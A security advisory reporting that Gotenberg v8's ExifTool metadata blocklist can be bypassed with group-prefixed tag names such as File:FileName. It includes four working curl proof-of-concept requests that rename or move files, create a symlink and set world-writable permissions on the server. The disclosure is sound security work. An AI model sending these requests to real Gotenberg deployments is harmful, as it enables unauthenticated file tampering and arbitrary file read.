Gotenberg's ExifTool group-prefix syntax bypasses dangerous-tag blocklist

Summary

The ExifTool metadata write blocklist in Gotenberg v8 can be bypassed using ExifTool's group-prefix syntax, enabling arbitrary file rename, move, hardlink, and symlink creation on the server. This is a bypass of the fix for GHSA-qmwh-9m9c-h36m.

Details

The blocklist in pkg/modules/exiftool/exiftool.go filters four dangerous pseudo-tags (FileName, Directory, HardLink, SymLink) using strings.EqualFold(key, tag). However, ExifTool supports group-prefix syntax where File:FileName is processed identically to FileName -- the prefix is stripped by SetNewValue in Writer.pl before tag matching.

The safeKeyPattern regex (^[a-zA-Z0-9\-_.:]+$) allows colons, so prefixed tag names pass validation. Any prefix works: File:FileName, System:Directory, a:HardLink, etc.

Additionally, FilePermissions, FileUserID, and FileGroupID pseudo-tags are not blocked at all and can modify file attributes without any prefix.

PoC

# Rename the converted PDF (bypasses FileName blocklist)
curl -F "[email protected]" \
  -F 'metadata={"File:FileName":"pwned.pdf"}' \
  http://localhost:3000/forms/pdfengines/metadata/write

# Move the file to /tmp (bypasses Directory blocklist)
curl -F "[email protected]" \
  -F 'metadata={"File:Directory":"/tmp"}' \
  http://localhost:3000/forms/pdfengines/metadata/write

# Create a symlink (bypasses SymLink blocklist)
curl -F "[email protected]" \
  -F 'metadata={"File:SymLink":"/tmp/symlink-poc"}' \
  http://localhost:3000/forms/pdfengines/metadata/write

# Change file permissions (not blocked at all)
curl -F "[email protected]" \
  -F 'metadata={"FilePermissions":"rwxrwxrwx"}' \
  http://localhost:3000/forms/pdfengines/metadata/write

Impact

Pre-auth (no authentication by default). Attacker can rename, move, or create links to files within the Gotenberg container. In deployments with mounted volumes or non-containerized setups, this enables arbitrary file read via symlink chaining and file overwrite via directory manipulation.

This is a direct bypass of the fix for GHSA-qmwh-9m9c-h36m.